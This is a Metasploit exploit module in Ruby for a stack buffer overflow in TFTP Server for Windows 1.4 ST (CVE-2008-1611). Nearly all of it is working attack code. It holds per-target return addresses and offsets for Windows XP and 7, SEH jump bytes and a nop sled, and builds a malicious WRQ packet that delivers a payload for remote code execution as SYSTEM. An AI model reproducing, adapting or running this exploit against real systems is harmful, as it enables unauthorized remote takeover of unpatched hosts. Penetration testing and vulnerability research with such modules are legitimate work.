TFTP Server for Windows 1.4 ST WRQ Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 Rank = NormalRanking
 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'            => 'TFTP Server for Windows 1.4 ST WRQ Buffer Overflow',
   'Description'     => %q{
     This module exploits a vulnerability found in TFTP Server 1.4 ST.  The flaw
    is due to the way TFTP handles the filename parameter extracted from a WRQ request.
    The server will append the user-supplied filename to TFTP server binary's path
    without any bounds checking, and then attempt to open this with a fopen(). Since
    this isn't a valid file path, fopen() returns null, which allows the corrupted
    data to be used in a strcmp() function, causing an access violation.

    Since the offset is sensitive to how the TFTP server is launched, you must know
    in advance if your victim machine launched the TFTP as a 'Service' or 'Standalone'
    , and then manually select your target accordingly. A successful attempt will lead
    to remote code execution under the context of SYSTEM if run as a service, or
    the user if run as a standalone. A failed attempt will result a denial-of-service.
   },
   'Author'          =>
    [
     'Mati Aharoni', #Initial discovery, PoC
     'Datacut'       #Metasploit
    ],
   'References'      =>
    [
     [ 'CVE', '2008-1611' ],
     [ 'OSVDB', '43785' ],
     [ 'BID', '18345' ],
     [ 'EDB', '5314' ]
    ],
   'DefaultOptions'  =>
    {
     'EXITFUNC' =>'seh',
    },
   'Payload'         =>
    {
     'Space'           => 600,
     'BadChars'        => "\x00\x2f",
     'StackAdjustment' => -3500
    },
   'Platform'        => 'win',
   'Targets'         =>
    [
     # datacut tested ok 19/04/12 on xp sp2 sp3, win 7 sp0 sp1.
     # possible may work for other service packs and or vista
     # Rets = P/P/R from tftpserversp.exe
     [ 'Windows XP SP2/SP3 EN Service Mode',       { 'Ret' => 0x416801 , 'Offset' => 1203} ],
     [ 'Windows XP SP2/SP3 EN Standalone Mode',    { 'Ret' => 0x416801 , 'Offset' => 1487} ],
     [ 'Windows 7 SP0/SP1 EN x64 Service Mode',    { 'Ret' => 0x416801 , 'Offset' => 1217} ],
     [ 'Windows 7 SP0/SP1 EN x64 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1501} ],
     [ 'Windows 7 SP0/SP1 EN x86 Service Mode',    { 'Ret' => 0x416801 , 'Offset' => 1223} ],
     [ 'Windows 7 SP0/SP1 EN x86 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1507} ]
    ],
   'Privileged' => false,
   'DisclosureDate'=> 'Mar 26 2008',
   'DefaultTarget' => 4))  #TFTP is installed as a service

  register_options(
   [
    Opt::RPORT(69)
   ], self.class)
 end

 def exploit
  connect_udp

  nops = make_nops(50)
  lead = rand_text_alphanumeric(target['Offset'] - payload.encoded.length - nops.length)
  near = "\xe9\x80\xfd\xff\xff"    #jump back 640 bytes to the nop sled
  nseh = "\xeb\xf9" + make_nops(2) #jump back 7 bytes to the long jump

  evil = lead + nops + payload.encoded + near + nseh + [target.ret].pack('V')
  mode = "netascii"

  #Send the WRQ packet (header "\x00\x02")
  sploit = "\x00\x02" + evil + "\0" + mode +"\0"

  udp_sock.put(sploit)

  handler
  disconnect_udp
 end

end